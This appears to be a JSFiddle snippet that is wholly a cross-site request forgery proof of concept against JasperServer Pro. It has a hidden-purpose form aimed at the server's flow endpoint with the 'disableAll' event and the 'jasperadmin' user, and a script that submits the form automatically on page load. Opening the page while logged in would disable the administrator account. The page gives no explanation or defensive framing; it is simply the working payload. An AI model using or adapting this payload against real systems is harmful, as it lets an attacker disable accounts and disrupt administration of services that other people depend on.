JSFiddle - React, Tailwind, and code Playground
HTML
<script src="http://code.jquery.com/jquery-2.1.0.min.js"></script>
<form id="copyFolder" action="http://localhost:8080/jasperserver-pro/flow.html?_flowExecutionKey=e2s1&_eventId=disableAll" method="POST">
<input type="text" name="userNames" value='{["jasperadmin|organization_1"]}'/>
<input type="submit" value="OK"/>
</form>
JavaScript
window.document.forms[0].submit();